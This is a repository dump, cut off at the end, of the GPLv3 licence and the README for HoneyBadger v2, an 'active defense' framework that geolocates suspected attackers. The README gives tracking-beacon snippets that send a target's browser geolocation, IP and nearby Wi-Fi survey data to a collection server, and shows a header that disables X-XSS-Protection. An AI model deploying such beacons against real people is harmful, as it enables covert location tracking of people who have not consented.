[
  {
    "path": ".gitignore",
    "content": "*.pyc\n*sublime*\nvenv/\nagents/\nserver_old/\ndata.db\n"
  },
  {
    "path": "LICENSE.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# HoneyBadger v2\n\nHoneyBadger is a framework for targeted geolocation. While honeypots are traditionally used to passively detect malicious actors, HoneyBadger is an Active Defense tool to determine who the malicious actor is and where they are located. HoneyBadger leverages \"agents\" built in various technologies that harvest the requisite information from the target host in order to geolocate them. These agents report back to the HoneyBadger API, where the data is stored and made available in the HoneyBadger user interface.\n\nAn early prototype of HoneyBadger (v1) can be seen in the presentation \"[Hide and Seek: Post-Exploitation Style](http://youtu.be/VJTrRMqHU5U)\" from ShmooCon 2013. The associated Metasploit Framework modules mentioned in the above presentation can be found [here](https://github.com/v10l3nt/metasploit-framework/tree/master/modules/auxiliary/badger). Note: These modules have not been updated to work with v2 of the API.\n\n## Getting Started\n\n### Pre-requisites\n\n* Python 3.x\n\n### Installation (Ubuntu and OS X)\n\n1. Install [pip](https://pip.pypa.io/en/stable/installing/).\n2. Clone the HoneyBadger repository.\n\n    ```\n    $ git clone https://github.com/lanmaster53/honeybadger.git\n    ```\n\n3. Install the dependencies.\n\n    ```\n    $ cd honeybadger/server\n    $ pip install -r requirements.txt\n    ```\n\n4. Initialize the database. The provided username and password will become the administrator account.\n\n    ```\n    $ python\n    >>> import honeybadger\n    >>> honeybadger.initdb(<username>, <password>)\n    ```\n\n5. Start the HoneyBadger server. API keys are required to use maps and geolocation services.\n\n    ```\n    $ python ./honeybadger.py -gk <GOOGLE_API_KEY> -ik <IPSTACK_API_KEY>\n    ```\n\n    Honeybadger will still run without the API keys, but mapping and geolocation functionality will be limited as a result.\n\n    View usage information with either of the following:\n\n   ```\n   $ python ./honeybadger.py -h\n   $ python ./honeybadger.py --help\n   ```\n\n6. Visit the application and authenticate.\n7. Add users and targets as needed using their respective pages.\n8. Deploy agents for the desired target.\n\nClicking the \"demo\" button next to any of the targets will launch a demo web page containing an `HTML`, `JavaScript`, and `Applet` agent for that target.\n\n### Fresh Start\n\nMake a mess and want to start over fresh? Do this.\n\n```\n$ python\n>>> import honeybadger\n>>> honeybadger.dropdb()\n>>> honeybadger.initdb(<username>, <password>)\n```\n\n## API Usage\n\n### IP Geolocation\n\nThis method geolocates the target based on the source IP of the request and assigns the resolved location to the given target and agent.\n\nExample: (Method: `GET`)\n\n```\nhttp://<path:honeybadger>/api/beacon/<guid:target>/<string:agent>\n```\n\n### Known Coordinates\n\nThis method accepts previously resolved location data for the given target and agent.\n\nExample: (Method: `GET`)\n\n```\nhttp://<path:honeybadger>/api/beacon/<guid:target>/<string:agent>?lat=<float:latitude>&lng=<float:longitude>&acc=<integer:accuracy>\n```\n\n### Wireless Survey\n\nThis method accepts wireless survey data and parses the information on the server-side, extracting what is needed to make a Google API geolocation call. The resolved geolocation data is then assigned to the given target. Parsers currently exist for survey data from Windows, Linux and OS X using the following commands:\n\nWindows:\n\n```\ncmd.exe /c netsh wlan show networks mode=bssid | findstr \"SSID Signal Channel\"\n```\n\nThe `util` directory contains a PowerShell script that can be used to automatically send test data to the server:\n\n```\npowershell .\\wireless_survey.ps1 -uri <URI>\n```\n\nLinux:\n\n```\n/bin/sh -c iwlist scan | egrep 'Address|ESSID|Signal'\n```\n\nThe `util` directory contains a shell script that can be used to automatically send test data to the server:\n\n```\nbash ./wireless_survey.sh <URL>\n```\n\nOS X:\n\n```\n/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s\n```\n\nExample: (Method: `POST`)\n\n```\nhttp://<path:honeybadger>/api/beacon/<guid:target>/<string:agent>\n```\n\nPOST Payload:\n\n```\nos=<string:operating-system>&data=<base64:data>\n```\n\nThe `os` parameter must match one of the following regular expressions:\n\n* `re.search('^mac os x', os.lower())`\n* `re.search('^windows', os.lower())`\n* `re.search('^linux', os.lower())`\n\n### Universal Parameters\n\nAll requests can include an optional `comment` parameter. This parameter is sanitized and displayed within the UI as miscellaneous information about the target or agent.\n\n## Example Web Agents\n\n### HTML\n\n```\nimg = new Image();\nimg.src = \"http://<path:honeybadger>/api/beacon/<guid:target>/HTML\";\n```\n\nor\n\n```\n<img src=\"http://<path:honeybadger>/api/beacon/<guid:target>/HTML\" width=1 height=1 />\n```\n\n### JavaScript\n\nNote: JavaScript (HTML5) geolocation agents will not work unless deployed in a secure context (HTTPS), or local host.\n\n```\nfunction showPosition(position) {\n    img = new Image();\n    img.src = \"http://<path:honeybadger>/api/beacon/<guid:target>/JavaScript?lat=\" + position.coords.latitude + \"&lng=\" + position.coords.longitude + \"&acc=\" + position.coords.accuracy;\n}\n\nif (navigator.geolocation) {\n    navigator.geolocation.getCurrentPosition(showPosition);\n}\n```\n\n### Content Security Policy\n\n```\nresponse.headers['X-XSS-Protection'] = '0'\nresponse.headers['Content-Security-Policy-Report-Only'] = '<string:policy>; report-uri http://<path:honeybadger>/api/beacon/<guid:target>/Content-Security-Policy'\n```\n\n### XSS Auditor\n\n```\nresponse.headers['X-XSS-Protection'] = '1; report=http://<path:honeybadger>/api/beacon/<guid:target>/XSS-Protection'\n```\n"
  },
  {
    "path": "server/honeybadger/__init__.py",
